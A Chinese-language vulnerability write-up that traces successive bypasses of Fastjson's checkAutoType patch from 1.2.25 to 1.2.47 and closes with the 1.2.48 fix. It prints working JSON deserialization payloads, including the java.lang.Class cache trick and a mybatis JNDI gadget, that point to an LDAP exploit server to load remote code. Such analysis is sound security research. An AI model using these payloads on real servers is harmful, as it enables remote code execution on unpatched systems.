Fastjson 1.2.25-1.2.47 补丁绕过
Fastjson 1.2.25-1.2.47 补丁绕过
补丁分析
在 Fastjson1.2.25 中使用了 checkAutoType 来修复1.2.22-1.2.24中的漏洞,其中有个 autoTypeSupport 默认为 False。当 autoTypeSupport 为 False 时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当 autoTypeSupport 为 True 时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。
补丁绕过(需要开启AutoTypeSupport)
需要开启 AutoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
一、1.2.25-1.2.41补丁绕过
漏洞复现
POC:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
执行效果:
漏洞分析
在Fastjson反序列化漏洞分析--JdbcRowSetImpl利用链中我们已经进行了详细的分析,直接跳转到:
当 autoTypeSupport 为 False 时,首先进行黑名单过滤:
黑名单中没有再进行白名单过滤
此时白名单为空,继续向下执行
此时会通过这个判断从而抛出异常。所以说,当autoTypeSupport 为 False 时必须配置有白名单,才能进行loadClass
操作。
当 autoTypeSupport 为 True 时,首先进行白名单过滤,再进行黑名单过滤:
可以看到黑名单中有com.sun
,对com.sun.rowset.JdbcRowSetImpl
进行过滤,所以在前面加入L
进行绕过。接下来有如下判断
此时 autoTypeSupport 为 True,跟入loadClass
这里判断如果className
是以L
开头,并以;
结尾,那么去除开头的L
以及末尾的;
,得到 newClassName 然后 loadClass,这样就绕过了CheckAutoType 的检查。
二、1.2.25-1.2.42补丁绕过
哈希黑名单
从1.2.42版本开始,在ParserConfig.java中可以看到黑名单改为了哈希黑名单,目的是防止对黑名单进行分析绕过,目前已经破解出来的黑名单见:https://github.com/LeadroyaL/fastjson-blacklist
POC:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
漏洞分析
在CheckAutoType里面增加了一次对className的提取操作,所以我们再写一对L
和;
来绕过黑名单
在TypeUtils.loadClass里面再进行一次提取操作,但是这里进行提取操作的是typeName
可以看到最后还是得到Lcom.sun.rowset.JdbcRowSetImpl;
然后程序会循环调用自身的loadClass以得到正常的类com.sun.rowset.JdbcRowSetImpl
,之后就可以正常的loadClass了。
三、1.2.25-1.2.43补丁绕过
漏洞复现
当使用上面LLcom.sun.rowset.JdbcRowSetImpl;;
时,会发生错误
原因是补丁 1.2.43 在 checkAutoType 里面添加了如下代码,连续出现两个L
会抛出异常
所以就不能用L
来绕过,注意到如果开头为[
也会有对应操作,代码如下
所以考虑添加[
进行绕过,首先尝试如下payload
{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
得到如下结果
提示说希望在 42 列处加一个[
号,刚好那个位置是第一个逗号,于是在前面添加一个[
,payload如下
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
结果如下
报错说希望在 43 列有一个{
,那么就在[
后加一个{
,payload如下
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
结果如下
可以看到,成功触发漏洞
漏洞分析
进入当开头为[
的判断,下断点调试
发现传入的为[com.sun.rowset.JdbcRowSetImpl
判断如果className
是以[
开头,那么去除开头的[
,得到 newClassName 然后 loadClass,这样就绕过了CheckAutoType 的检查。
四、1.2.25-1.2.45补丁绕过
漏洞利用
需要目标服务端存在mybatis的jar包,且版本需为 3.x.x 系列<3.5.0 的版本
POC
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}
漏洞分析
首先试试 1.2.43 补丁绕过的payload
报错,原因是可以发现 checkAutoType 中添加了针对[
的检测,如果第一个字符为[
直接抛出异常
由于 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 不在黑名单中,所以直接能绕过checkAutoType的检测
查看 setter 方法,可以看到 lookup 里面的值是通过我们传入的data_source
得到了所以造成了 JNDI 注入
五、1.2.25-1.2.47通杀
漏洞复现
漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测
这里有两个版本段:
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
- 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
POC
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}
}
使用1.2.47 复现
未开启 AutoTypeSupport 后
开启 AutoTypeSupport 后
可以发现, AutoTypeSupport 无论是 True 或者 False,都能利用
漏洞分析
未开启AutoTypeSupport时
因为未开启AutoTypeSupport,所以就不会进入黑白名单判断的逻辑
跟进findClass()
因为 type 的值是java.lang.Class
,所以在findClass
可以找到,最后返回clazz
,接着会进入MiscCodec#deserialze
跟进deserialze()
,找到TypeUtils.loadClass
函数
这里使用了TypeUtils.loadClass
函数加载了strVal
,也就是JdbcRowSetlmpl
,跟进发现会将其缓存在map
中
第二次解析时调用TypeUtils.getClassFromMapping()
时能够成功从Map
中获取到缓存的类,然后 return 返回从而成功绕过checkAutoType()
检测
开启AutoTypeSupport时
由于开启了AutoTypeSupport,所以会进行黑白名单判断
第一次解析时@type
值为java.lang.Class
所以都能通过,最后通过findClass
函数获取到Class
类
第二次解析时@type值
就成了com.sun.rowset.JdbcRowSetImpl
此时进行如下判断
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null)
第一个判断条件Arrays.binarySearch(denyHashCodes, hash) >= 0
是满足的,因为我们的@type
包含了黑名单的内容;关键在于第二个判断条件TypeUtils.getClassFromMapping(typeName) == null
,这里由于前面已经将com.sun.rowset.JdbcRowSetImpl
类缓存在Map
中了,也就是说该条件并不满足,导致能够成功绕过黑名单校验、成功触发漏洞。
六、1.2.48补丁分析
在loadClass时,将缓存开关默认设置为False,所以就不会通过缓存的判断。同时将Class类加入黑名单